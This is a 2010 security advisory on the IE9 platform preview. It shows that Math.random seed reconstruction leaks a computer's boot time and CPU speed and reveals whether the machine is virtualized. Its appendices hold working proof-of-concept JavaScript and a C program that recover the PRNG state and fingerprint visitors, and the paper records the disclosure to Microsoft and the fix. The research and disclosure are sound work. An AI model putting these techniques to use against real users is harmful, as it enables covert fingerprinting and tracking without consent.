Detecting virtualization over the web with IE9 (platform preview)

and

Semi-permanent computer fingerprinting and user tracking in IE9 (platform preview)

Amit Klein

June-July 2010

Released to public: December 2nd 2010

Abstract

The IE9 (platform preview) Javascript Math.random implementation is vulnerable to seed reconstruction. The seed reveals the computer's boot time (and on Windows 7 – also CPU clock speed). These can be used to finger-print computers and track users within the same Windows session even if they close and open their IE9 browser multiple times.

Interestingly enough, this technique also provides some information regarding the client hardware (namely clock source and possibly CPU clock speed), and may be used to detect virtualized machines “over the web”.

Additionally, the Math.random implementation is flawed in such way that it returns non-uniform values (this holds for IE9 beta as well).

Table of Contents

1. Quick introduction

The attack described here is related to the author's previous work (http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf), and a similar issue with earlier Internet Explorer versions (6, 7 and 8) is familiar to Microsoft (MSRC ticket [8710jr]). Intentionally or not, Microsoft significantly changed some properties of IE (or rather, its rendering engine, "Trident 5", and its Javascript engine, "Chakra"), and thus the original attack on Math.random is no longer effective for IE9 platform preview. A different attack was devised, which exhibits different strengths.

The discussion below pertains to Windows Vista SP2 (and above) and Windows 7, as these are the only platforms supported by IE9 platform preview. Also, the discussion is based on Internet Explorer 9 Platform Preview #2 (version 1.9.7766.6000 = Internet Explorer 9.0.7766.6000), #3 (version 1.9.7874.6000 = Internet Explorer 9.0.7874.6000) and #4 (version 1.0.7916.6000 = Internet Explorer 9.0.7916.6000), which are only provided as a 32 bit application.

2. IE9 platform preview Javascript engine ("Chakra") Math.random implementation

IE9 platform preview Math.random is based on that of IE6, IE7 and IE8. The latter is described in http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf, section 2.1. However, there are three major changes:

- Math.random is instantiated and seeded in each page, tab and frame. So two navigations (even in the same window) have two different PRNG instances and seeds. Likewise, two frames (in the same page) have two different PRNG instances and seeds.
- Math.random is seeded with the high resolution counter (the output of QueryPerformanceCounter).
- The coefficients in the original algorithm are swapped, i.e. 0x00000005 is used where 0xDEECE66D was used in the original implementation, and vice versa. This means that the XOR value in the seeding is 0x00000005 (and not 0xDEECE66D), and the PRNG multiplier is 0xDEECE66D00000005 (or effectively, since the modulo is 2^{48}, 0xE66D00000005), and not 0x5DEECE66D. This appears to be a bug (see next section), though fixing it does not affect the main results of this document.

3. The non-uniformity bug

The bug in the coefficient definition causes individual PRNG values to be non-uniform. If the value of Math.random() is multiplied by 2^{54} to obtain an integral value containing the random bits, the non-uniformity can be seen in bits 0-10 and bits 27-37, which strongly depend on each other. In fact, denote by x_1 the value of bits 27-37, and by x_2 the value of bits 0-10, then the following always holds (for Math.random values smaller than 0.5):

$$x_2=5\cdot x_1+y \pmod{2^{11}}$$

Where $0\leq y\leq 5$.

Obviously the probability for this to hold in a truly random value is only $6/2^{11}=0.3\%$.

The explanation is as following: x_1 is sampled from the PRNG state (as the 27 most significant bits of the 48 bit state), then the PRNG is advanced by multiplying it by 0xE66D00000005 and adding 11, then x_2 is sampled. Looking at modulo 2^{32} of the state, it can be seen that the multiplier becomes 5. Looking at the most significant 11 bits (of the least significant 32 bits of the state), which are actually the least significant bits of x_1 – they are multiplied by 5, and a carry of the multiplication by 5 of the least significant 21 bits is added, and finally 11 is added to the state (which may rarely contribute a carry of 1), to form x_2. Due to issues with rounding when converting the 54 bit quantity to a double precision number (as explained in http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf section 2.1, x_2 may not accurately represent the state bits if the whole double precision number is ≥0.5. Therefore in order for the equation to hold, it needs to be restricted to cases where Math.random()<0.5.

It should be stressed that this bug is standalone, i.e. fixing it (e.g. by reverting to the original coefficient) does not fundamentally affect the rest of the findings.

Appendix A contains a simple HTML+Javascript code that analyzes a single result from Math.random to find out if the anomaly exhibits itself. It yields positive results with IE9 (only).

4. Reconstructing the state and the seed

In general, the current PRNG state can be reconstructed much along the lines of http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf. There's one small complication though. Due to the un-optimal multiplier, two consecutive readouts from the PRNG (i.e. two instances of 27 most significant bits) are insufficient to fully reconstruct the PRNG state. This is because the bits at positions 16-20 of the internal state (when the first 27 bit quantity is sampled) only affect 0-3 least significant bits in the second readout – bits 16-20 only affect the 27 most significant ones through the carry of their multiplication by 5, i.e. they add 0-4 to the 27 most significant bits. Moreover, the least significant bit of the most significant 27 bits may remain unexposed due to rounding (see http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf, section 2.1). This requires sampling another Math.random() value, so that 4 consecutive PRNG readouts are inspected. The last readout contains a product of bits 16-20 by 125, thus even bit 16 of the state (after the first PRNG readout) affects the 26 most significant bits of the 4th PRNG readout, and indeed empirically, 2 consecutive Math.random() values suffice to reconstruct the internal state of the PRNG.

Once the state is reconstructed, and assuming the page is fully owned by the attacker and the attacker only uses Math.random on the page to reconstruct the internal PRNG state, it follows that the seed is merely the previous PRNG state (up to the XOR and bit shifting). Thus it is trivial to reconstruct the seed, which is the 48 low bits of the performance counter. But since the performance counter's maximum observed resolution is 14318180 Hz (see section 5), the performance counter will overflow 48 bits only for systems with uptime above 227 days (roughly 7.5 months)– so in practice, the full value of the performance value becomes known.

Demonstration of reconstructing the high resolution timer value is provided in Appendix B.

5. The high resolution timer frequency

5.1 Clock sources

Windows Vista and Windows 7 may use various clock sources, depending on their existence and accuracy. The possible clock sources are described below, and the selection algorithm is described on the next sub-section.

5.1.1 Constant-rate TSC (Time-Stamp Counter)

TSC is a Time-Stamp Counter, a clock source that advances once per CPU cycle. It is available on the CPU itself via the Intel RDTSC opcode. In the past, TSC was notorious for being inaccurate with multiple cores architecture, and when non-constant CPU clock is employed (e.g. Intel's SpeedStep). To address this, Intel introduced an improvement called "constant rate TSC", which, as the name hints, provides a constant rate counter, which maintains its consistency even on multi-core systems and event when the actual CPU rate is changed.

A constant-rate TSC is available with newer Intel CPUs, namely in newer NetBurst CPUs (Family 0x0F, model 0x03 and higher), and in all Core 2 Duo and Nehalem architecture CPUs (http://www.intel.com/Assets/pdf/manual/253668.pdf, section 16.11) – i.e. in most computers shipped since 2004-2005. The constant-rate TSC frequency is the maximum actual CPU frequency (which is either the "advertised" frequency, or, in newer systems, about 0.25% less than the advertised frequency – more precisely around 0.248% less). This is acknowledged by Microsoft (http://support.microsoft.com/kb/311051/). See evidence to this in the wild e.g. http://www.hindawi.com/journals/jcsnc/2008/583162.tab4.html and http://answers.yahoo.com/question/index?qid=20090220111322AAsGxeM.

Apparently, most virtualization products do not offer a constant-rate TSC in the virtualized (guest) operating system.

When used for high resolution counter, the TSC is divided by 1024 (shifted right 10 bits).

5.1.2 HPET (High Precision Event Timer)

HPET (http://www.intel.com/hardwaredesign/hpetspec_1.pdf) is a hardware clock device made available to the CPU by the motherboard chipset. It can be found on most computers produced since 2005 (Intel chipsets started supporting HPET with the introduction of ICH5 standard - http://software.intel.com/en-us/forums/showthread.php?t=52108). The HPET timer ticks at 14318180 Hz (http://software.intel.com/en-us/forums/showthread.php?t=52108).

Most virtualization products do not offer HPET in the virtualized (guest) operating system, e.g. http://www.vmware.com/pdf/vmware_timekeeping.pdf.

5.1.3 APCI 2.0 Power Management Timer (PM Timer)

The ACPI power management timer (PM Timer, defined in ACPI 2.0) has a constant frequency of 3579545 Hz (http://www.acpi.info/DOWNLOADS/ACPIspec20.pdf, section 4.7.2.1).

Note: ACPI 2.0 was released in 2000, so it is practically found on every system nowadays. It is also available on VMware-based virtualized computers.

5.2 Windows Vista clock source selection

Windows Vista's preferences are HPET and ACPI PM Timer, in this order. From http://www.microsoft.com/whdc/system/sysinternals/mm-timer.mspx: "on systems with an HPET, all Windows timer APIs will be ported to the new hardware [HPET] rather than using […] PM clock".

5.3 Windows 7 clock source selection

Windows 7 preferences are constant-rate TSC (divided by 1024), HPET and ACPI Timer, in this order. From http://blogs.msdn.com/b/ddperf/archive/2008/06/02/introduction-to-control-theory-and-its-application-to-computing-systems-part-1.aspx: "Windows 7 determines at start-up whether the machine's TSC is invariant across power state changes. If it is, then subsequent calls to QueryPerformanceCounter() are handled using an rdtsc instruction. If the TSC tick rate is not constant, however, QueryPerformanceCounter() will make requests to the HPET instead, just like in Windows 6 [Vista]".

6. Reconstructing the computer boot time, CPU clock speed (when constant-rate TSC is available) and detecting virtualization

Sampling the performance counter several seconds apart, while also recoding the local time can provide an estimation of the timer frequency (by dividing the differences of the two quantities).

The remaining analysis can be carried out per operating system (which is easily detected from the navigator.userAgent string).

6.1 Vista

If the frequency is close to 14318180, one can assume that this is a machine with HPET support. In such case, the boot time is simply the time sampled on the first instance, subtracted by the performance counter divided by 14318180.

If the frequency is close to 3579545, one can assume that this is the ACPI-based timer, i.e. that the computer does not have an HPET device. In such case, the boot time is the time sampled on the first instance, subtracted by the performance counter divided by 3579545.

If the frequency is not near 14318180 or 3579545, then this system cannot be analyzed.

6.2 Windows 7

If the frequency is close to 14318180, one can assume that this is a machine with HPET support. In such case, the boot time is simply the time sampled on the first instance, subtracted by the performance counter divided by 14318180.

If the frequency is close to 3579545, one can assume that this is the ACPI-based timer, i.e. that the computer does not have an HPET device. In such case, the boot time is the time sampled on the first instance, subtracted by the performance counter divided by 3579545.

If the frequency is not near 14318180 or 3579545, then one can assume that the machine has constant-rate TSC. In such case, multiplying the frequency by 1024 or by 1024/(1-0.00248) yields a candidate (per each branch) for the advertised CPU clock speed (which can be obtained by multiplying the approximated timer frequency with the corresponding coefficient in section 5.1 and rounding to the nearest multiplicity of 33,333,333.333 Hz which is the common factor in all Intel x86/x64 CPUs, see http://ark.intel.com/DownloadCSV.aspx?sort=mtrl_trim_id+DESC&start=0&max=3249&filter=1%3d1), for the timer frequency (dividing the CPU clock speed obtained in the previous step by the coefficient) and the boot time (time taken on the machine minus the performance time divided by the timer frequency).

Note that (up to over-clocking) the only Intel CPUs whose clock speed is between 3.633GHz and 3.7GHz are few Intel Xeon Cranford-family processors (server processors) - see http://ark.intel.com/DownloadCSV.aspx?sort=mtrl_trim_id+DESC&start=0&max=3249&filter=1%3d1. These are old models introduced to the market early 2005, so their motherboards probably don't implement HPET and constant-rate TSC. Therefore, the assumption that a timer frequency near 3579545 is an indication of constant-rate TSC –less and HPET-less motherboard holds.

6.3 Detecting virtualization

As mentioned above, virtualized operating systems typically do not offer a constant-rate TSC and HPET, and thus the high resolution timer frequency will be 3579545 Hz. This was verified with the following combinations:

- VMWare ESXi 4 (with 32-bit Windows 7 and 32-bit Windows Vista SP1)
- VMWare Server 1.0.4.56528 (with 32-bit Windows Vista SP1)
- Microsoft Windows Virtual PC 6.0.156.0 (with 32-bit Windows Vista SP1)
- Oracle/Sun VirtualBox 3.1.0 r55467 (with 32-bit Windows Vista SP2 and 32-bit Windows 7)

Note that 64-bit guest operating systems are not covered here.

For a physical machine (not virtualized) not to have HPET and constant-rate TSC means that the machine had to be produced around or before 2005-2004 (which is the time the last Intel CPU lines without constant rate TSC were produced, and the time the last motherboards without HPET were produced). The likelihood of bumping into Windows 7 or Windows Vista SP2 installed on 2005 or earlier hardware nowadays is slim (and getting slimmer with each month) - especially with Windows 7. So one can assume (with good likelihood) that if the high resolution timer frequency is 3579545 Hz, the machine is virtualized.

Appendix C contains an HTML (+Javascript) page that samples the performance counter over 1 second and uses the CGI program in Appendix B to obtain the corresponding performance counter values. It then calculates the counter frequency and boot time (if constant-rate TSC is detected, 2 values are suggested, with their CPU speeds).

The code in Appendix C was tested successfully with Windows 7 Professional 32 bit on Lenovo ThinkPad X201 (Intel i5-M540, 2.533GHz), Windows Vista Home Premium SP2 32 bit on IBM ThinkCentre A50p (Intel Pentium 4 2.800GHz) and with Windows 7 Professional 64 bit on Lenovo ThinkPad Edge (Intel U7300, 1.300GHz).

7. Summary

With IE9 platform preview on Intel x86/x64 platform, it is possible, via a remote HTML+Javascript page, to:

- Determine the computer boot time
- Determine whether the operating system is virtualized (at least with VMware ESXi, VMware Server, Microsoft Windows Virtual PC and Oracle/Sun VirtualBox, with 32-bit guest Windows)
- On a physical box with Windows 7, determine the CPU clock speed

This represents an interesting and problematic data leakage issue with IE9, wherein a very abstract information/application such as HTML+Javascript accesses hardware and operating system related information (virtualization, CPU clock speed, boot time) normally inaccessible over the web. The data can be used to fingerprint a machine semi-persistently (machines are not often rebooted nowadays), hence the technique can be applied for user tracking.

8. Vendor/product status

Microsoft (MSRC) were informed July 8th, 2010. After exchanging some emails with Microsoft, MSRC responded on July 16th, 2010 as following:

"[…] Typically MSRC does not get involved with products that are still in development but we wanted to thank you for sending this report to us. […] The details you sent have been forwarded onto the IE team for tracking […] Please consider this email as official acknowledgment/receipt of your report and please keep us posted with any plans you have for presenting your research so that we can prepare for any questions or concerns and possibly provide you with a vendor statement".

On September 15th 2010, Microsoft released IE9 beta, which addresses the seed recovery issue by adding more entropy sources to the seeding process, thus making it much harder to isolate a single entropy source (such as the clock state) from the seed.

However, the non-uniformity bug described in section 3 still holds.

On December 1st, 2010, MSRC confirmed that the issue was addressed in IE9.

Appendix A – PoC for the non-uniformity bug

This self-contained HTML page has Javascript code that detects the Math.random non-uniformity bug in a single Math.random() value (it first needs to find one which is smaller than 0.5).

```
<html>
<body>
<script>
document.write("userAgent: "+navigator.userAgent+"<br><br>");
var r;
do
{
      r=Math.random();
}
while (r>=0.5);
var x=r*Math.pow(2,54);
var x1=Math.floor(x/Math.pow(2,27));
var x1_m=x1 & 0x3FF;
var x2_m=x & 0x3FF;
var d=(6*0x2000+x2_m-x1_m*5) & 0x3FF;
if (d<=5)
{
      document.write("IE9 Math.random() anomaly detected - ");
      document.write("this is probably IE9");
}
else
{
      document.write("IE9 Math.random() anomaly NOT detected - ");
      document.write("this is probably NOT IE9");
}
</script>
</body>
</html>
```

Appendix B – reconstructing the high-resolution timer

The following CGI program expects two consecutive Math.random() values as parameters r0 and r1 in its query string. These values should be extracted as the first calls to Math.random() in the current page. The program returns an HTTP response consisting of the high resolution timer value (the PRNG seed). It is intended to be used as XHR.

The program is written in ANSI C99 (tested with Microsoft Visual C/C++).

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define UINT64(x)  (x##ULL)

typedef unsigned long long int uint64;
typedef unsigned int uint32;

#define a UINT64(0xE66D00000005)
#define b UINT64(0xB)

#define inv_a ((UINT64(1)<<48)-UINT64(77688227443507))

uint64 adv(uint64 x)
{
	return (a*x+b) & ((UINT64(1)<<48)-1);
}

uint64 rev(uint64 x)
{
	x=(x-b)&((UINT64(1)<<48)-1);
	return (x*inv_a)&((UINT64(1)<<48)-1);
}

void write_and_exit(char msg[])
{
	printf("Content-Type: text/plain\r\n");
	printf("Content-Length: %u\r\n",strlen(msg));
	printf("\r\n");
	printf("%s",msg);
	exit(0);
}

#define N 2

int main(int argc, char* argv[])
{
	int i,j;
	uint32 v;
	int pos[32]={17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,
               16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14};
int revpos[32];
double r[N];
uint64 sample_int;
uint32 x[2*N];
uint32 out;
uint32 state_high_32,pc_high,pc_low;
uint64 pc;
char pc_str[21];  // uint64 may span 20 decimal digits, + null

for (i=0;i<32;i++)
{
      revpos[pos[i]]=i;
}

if (sscanf(getenv("QUERY_STRING"),"r0=%lf&r1=%lf",
                  &(r[0]),&(r[1]))!=2)
{
      write_and_exit("ERROR: query string syntax error");
}

for (i=0;i<N;i++)
{
      if ((r[i]>=1.0) || (r[i]<0.0))
      {
            write_and_exit("ERROR: random value out of range");
      }
      sample_int=r[i]*((double)(UINT64(1)<<54));
      if ((sample_int & (UINT64(1)<<53)) && (sample_int & 1))
      {
            write_and_exit("ERROR: mantissa too wide\n");
      }
      x[2*i+0]=sample_int>>27;
      x[2*i+1]=sample_int & ((1<<27)-1);
}

for (v=0;v<(1<<21);v++)
{
      uint64 state=(((uint64)x[0])<<21)|v;
      for (j=1;j<(2*N);j++)
      {
            state=adv(state);
            out=state>>(48-27);
            // for the lower half of Math.random ((j&1)==1),
            // if Math.random()>=0.5 and the least significant
            // bit is 1, then rounding took place
            if ((j&1) && (x[j-1] & (UINT64(1)<<26))
                  && (out & 1))
            {
                  // Turn off least significant bit
                  // (which we know is 1).
                  out--;

                  // Perform Round to Nearest (even number, but
                  // keep in mind that we don't count the least
                  // significant bit)
                  if (out & 2)
                  {
                        out+=2;
                        }
                    }
                    if (out!=x[j])
                    {
                        break;
                    }
                }
                if (j==(2*N))
                {
                    state=rev((((uint64)x[0])<<21)|v);
                    state_high_32=state>>16;
                    pc_low=0;
                    // Reverse the bit permutation
                    for (i=0;i<32;i++)
                    {
                        pc_low|=((state_high_32>>i)&1)<<revpos[i];
                    }

                    // Reverse the XOR
                    pc_low^=0x00000005;

                    pc_high=(pc_low^state)&0xFFFF;
                    pc=(((uint64)pc_high)<<32)|pc_low;

                    sprintf(pc_str,"%llu",pc);
                    write_and_exit(pc_str);
                }
        }

        write_and_exit("ERROR: Could not find PRNG state");
}
```

The following HTML page can be used to drive the CGI program:

```
<html>

<body>

<script>

document.write("userAgent: "+navigator.userAgent+"<br>");

document.write("High resolution timer: ");

var r0=Math.random();

var r1=Math.random();

var xhr=new XMLHttpRequest();

xhr.open("GET","xhr_pc.exe?"+("r0="+r0+"&r1="+r1),false);

xhr.send();

document.write(xhr.responseText);

</script>
```

```
</body>

</html>
```

Appendix C – calculating the timer frequency, clock source, boot time and (on Windows 7 with constant-rate TSC) CPU clock speed

The following HTML uses the CGI program in Appendix B to calculate the timer frequency, boot time and CPU clock speed (on platforms with constant-rate TSC). It is set to poll two values of the performance counter (and the local time) 2 seconds apart. Naturally this parameter can be changed to hit a different accuracy/stealth trade-off point.

```
<html>

<body>

<script>

document.write("userAgent: "+navigator.userAgent+"<br>");

if ((navigator.userAgent.indexOf("Windows NT 6.0")==-1) &&

      (navigator.userAgent.indexOf("Windows NT 6.1")==-1))

{

      document.write("Unsupported operating system<br>");

      throw "Unsupported operating system";

}

var vista=navigator.userAgent.indexOf("Windows NT 6.0")!=-1;

document.write("Operating system: "+

      (vista?"Windows Vista":"Windows 7")+"<br>")

var coeff=new Array(1-0.00248,1);

var caption=new Array("",

      "<br>Older (pre 2008) Intel CPU may also be:");

var t=(new Date()).getTime();

var r0=Math.random();

var r1=Math.random();

var xhr=new XMLHttpRequest();

xhr.open("GET","xhr_pc.exe?"+("r0="+r0+"&r1="+r1),false);

xhr.send();

var pc=xhr.responseText;
var re=new RegExp("t0=(.*)\\&pc0=(.*)");
if (re.test(document.location.search))
{
      var res=re.exec(document.location.search);
      var t0=res[1];
      var pc0=res[2];
      document.write("Raw data:");
      document.write("<br>");
      document.write(t0+" "+pc0);
      document.write("<br>");
      document.write(t+" "+pc);
      document.write("<br>");
      document.write((t-t0)+" "+(pc-pc0));
      document.write("<br>");
      var app_freq=(pc-pc0)/(t-t0)*1000;
      document.write("Approx. timer frequency: "+
            Math.round(app_freq)+" Hz");
      document.write("<br>");
      document.write("<br>");
      document.write("Leaked data:");
      document.write("<br>");
      function show_final(clock_speed,freq,t,pc)
      {
            document.write("Clock speed: "+clock_speed+" GHz, ");
            document.write("Timer frequency: "+
                  Math.round(freq)+" Hz, ");
            document.write("Boot time: "+Math.round(t/1000-pc/freq)+
                  " seconds since Epoch ");
            document.write("("+
                  (new Date(Math.round(t/1000-pc/freq)*1000)).
                  toString()+")");
            document.write("<br>");
```

```
        return;
    }
    if ((app_freq>0.99*14318180) && (app_freq<1.01*14318180))
    {
        if (!vista)
        {
            document.write("No constant-rate TSC.<br>");
        }
        document.write("HPET detected:");
        document.write("<br>");
        freq=14318180;
        show_final("(unknown)",freq,t,pc);
    }
    else if ((app_freq>0.99*3579545) && (app_freq<1.01*3579545))
    {
        if (!vista)
        {
            document.write("No constant-rate TSC.<br>");
        }
        document.write("No HPET (virtualized guest OS,");
        document.write(" or pre 2005 platform) - ");
        document.write("counter is based on ACPI:");
        document.write("<br>");
        freq=3579545;
        show_final("(unknown)",freq,t,pc);
    }
    else
    {
        if (vista)
        {
            document.write(
                "Cannot determine clock source<br>");
                throw "Vista: cannot determine clock source";
            }
            document.write("Constant-rate TSC detected, ");
            document.write("data for possible CPU architectures:");
            document.write("<br>");
            for(var i=0;i<2;i++)
            {
                var cpu_clk=
                    Math.round((app_freq*1024/coeff[i])
                    /33333333.333)*33333333.333;
                var freq=cpu_clk/1024*coeff[i];
                document.write(caption[i]+"<br>");
                show_final(
                    Math.floor(Math.round(cpu_clk)/1000000)/1000,
                    freq,t,pc);
            }
        }
        document.write("<br>");
        document.write("<a href='"+document.location.href.substr(0,
            document.location.href.length-
            document.location.search.length)+"'>again</a>");
}
else
{
        document.write("Raw data:");
        document.write("<br>");
        document.write(t+" "+pc);
        document.write("<br>");
        document.write("<br>");
        document.write("Please wait...");
        function again()
        {
            document.location.href=
                  document.location.href+"?t0="+t+"&pc0="+pc;
      }
      setTimeout("again()",2000);
}
</script>
</body>
</html>
```